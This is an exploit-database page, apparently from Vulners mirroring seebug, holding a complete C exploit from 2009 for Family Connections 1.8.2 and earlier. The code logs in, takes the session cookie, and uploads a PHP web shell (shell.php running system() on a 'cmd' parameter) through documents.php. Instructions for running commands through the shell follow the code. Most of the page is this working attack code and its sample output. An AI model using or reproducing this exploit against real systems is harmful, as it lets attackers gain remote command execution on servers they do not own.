Lucene search
K

Family Connections <= 1.8.2 Remote Shell Upload Exploit

🗓️ 04 Apr 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Family Connections 1.8.2 Remote Shell Uploa

Code

                                                /*

	Family Connections <= 1.8.2 - Remote Shell Upload Exploit
	
	Author: Salvatore \"drosophila\" Fresta
	
	Contact: [email protected]
	
	Date: 3 April 2009

	The following software will upload a simple php shell.
	To execute remote commands, you must open the file 
	using a browser.
	
	gcc rsue.c -o rsue
	
	./rsue localhost /fcms/ user password

	[*] Connecting...
	[+] Connected
	[*] Send login...
	[+] Login Successful
	[+] Uploading...
	[+] Shell uploaded
	[+] Connection closed
	
	Open your browser and go to http://localhost/fcms/gallery/documents/shell.php?cmd=[commands]

*/	

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

int socket_connect(char *server, int port) {

	int fd;
	struct sockaddr_in sock;
	struct hostent *host;
	
	memset(&sock, 0, sizeof(sock));
	
	if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host->h_addr);
	
	if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
	
	return fd;
   
}

int socket_send(int socket, char *buffer, size_t size) {
	
	if(socket < 0) return -1;

	return write(socket, buffer, size) < 0 ? -1 : 0;
	
}

char *socket_receive(int socket, int tout) {

	fd_set input;
	int ret, byte;
	char *buffer, *tmp;
	struct timeval timeout;
	
	FD_ZERO(&input);
	FD_SET(socket, &input);
	
	if(tout > 0) {
			timeout.tv_sec  = tout;
			timeout.tv_usec = 0;
	}
	
	if(socket < 0) return NULL;
	
	if(!(buffer = (char *) calloc (0, sizeof (char)))) return NULL;
	
	while (1) {
	
		if(tout > 0)
			ret = select(socket + 1, &input, NULL, NULL, &timeout);
	else
			ret = select(socket + 1, &input, NULL, NULL, NULL);
	
	if (!ret) break;
	if (ret < 0) return NULL;
	
	if(!(tmp = (char *) calloc (1024, sizeof (char)))) return NULL;
	
	if ((byte=read(socket, tmp, 1024)) < 0) return NULL;
	
		if(!byte) break;
	
	if(!(buffer = (char *) realloc(buffer, strlen (buffer) + strlen (tmp)))) return NULL;
	
	strncat(buffer, tmp, strlen(buffer)+strlen(tmp));
	
	}
	
	return buffer;
   
}

void usage(char *bn) {

	printf(\"\\nFamily Connections <= 1.8.2 - Remote Shell Upload Exploit\\n\"
			\"Author: Salvatore \\\"drosophila\\\" Fresta\\n\\n\"
			\"usage: %s <server> <path> <username> <password>\\n\"
			\"example: %s localhost /fcms/ admin 123456\\n\\n\", bn, bn);	

}

int main(int argc, char *argv[]) {
	
	int sd;
	char code[] = \"--AaB03x\\r\\n\"
					\"Content-Disposition: form-data; name=\\\"doc\\\"; filename=\\\"shell.php\\\"\\r\\n\"
					\"Content-Type: text/plain\\r\\n\"
					\"\\r\\n\"
					\"<?php echo \\\"<pre>\\\"; system($_GET[\'cmd\']); echo \\\"</pre>\\\"?>\\r\\n\"
					\"--AaB03x\\r\\n\"
					\"Content-Disposition: form-data; name=\\\"desc\\\"\\r\\n\"
					\"\\r\\n\"
					\"description\\r\\n\"
					\"--AaB03x\\r\\n\"
					\"Content-Disposition: form-data; name=\\\"submitadd\\\"\\r\\n\"
					\"\\r\\n\"
					\"Submit\\r\\n\"
					\"--AaB03x--\\r\\n\",
		*buffer = NULL,
		*rec = NULL,
		*session = NULL;
		
	if(argc < 5) {
		usage(argv[0]);
		return -1;
	}
	
	if(!(buffer = (char *)calloc(200+strlen(code)+strlen(argv[1])+strlen(argv[2])+strlen(argv[3])+strlen(argv[4]), sizeof(char)))) {
		perror(\"calloc\");
		return -1;
	}
	
	sprintf(buffer, \"POST %sindex.php HTTP/1.1\\r\\n\"
					\"Host: %s\\r\\n\"
					\"Content-Type: application/x-www-form-urlencoded\\r\\n\"
					\"Content-Length: %d\\r\\n\\r\\nuser=%s&pass=%s&submit=Login\", argv[2], argv[1], (strlen(argv[4])+strlen(argv[3])+24), argv[3], argv[4]);
	
					
	printf(\"\\n[*] Connecting...\");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf(\"[-] Connection failed!\\n\\n\");
		free(buffer);
		return -1;
	}
	
	printf(\"\\n[+] Connected\"
			\"\\n[*] Send login...\");
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf(\"[-] Sending failed!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf(\"[-] Receive failed!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, \"Login Successful\")) {
		printf(\"\\n[-] Login Incorrect!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	session = strstr(rec, \"PHPSESSID\");
	session = strtok(session, \";\");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf(\"[-] Connection failed!\\n\\n\");
		free(buffer);
		return -1;
	}
	
	printf(\"\\n[+] Login Successful\"
			\"\\n[+] Uploading...\");
	
	sprintf(buffer, \"POST %sdocuments.php HTTP/1.1\\r\\n\"
					\"Host: %s\\r\\n\"
					\"Cookie: %s\\r\\n\"
					\"Content-type: multipart/form-data, boundary=AaB03x\\r\\n\"
					\"Content-Length: %d\\r\\n\\r\\n%s\", argv[2], argv[1], session, strlen(code), code);
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf(\"[-] Sending failed!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf(\"[-] Receive failed!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, \"Uploaded Successfully\")) {
		printf(\"\\n[-] Upload failed!\\n\\n\");
		free(buffer);
		close(sd);
		return -1;
	}
	
	free(buffer);
	close(sd);
	
	printf(\"\\n[+] Shell uploaded\"
			\"\\n[+] Connection closed\\n\\n\"
			\"Open your browser and go to http://%s%sgallery/documents/shell.php?cmd=[commands]\\n\\n\", argv[1], argv[2]);
	
	return 0;
	
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Apr 2009 00:00Current
7.1High risk
Vulners AI Score7.1
15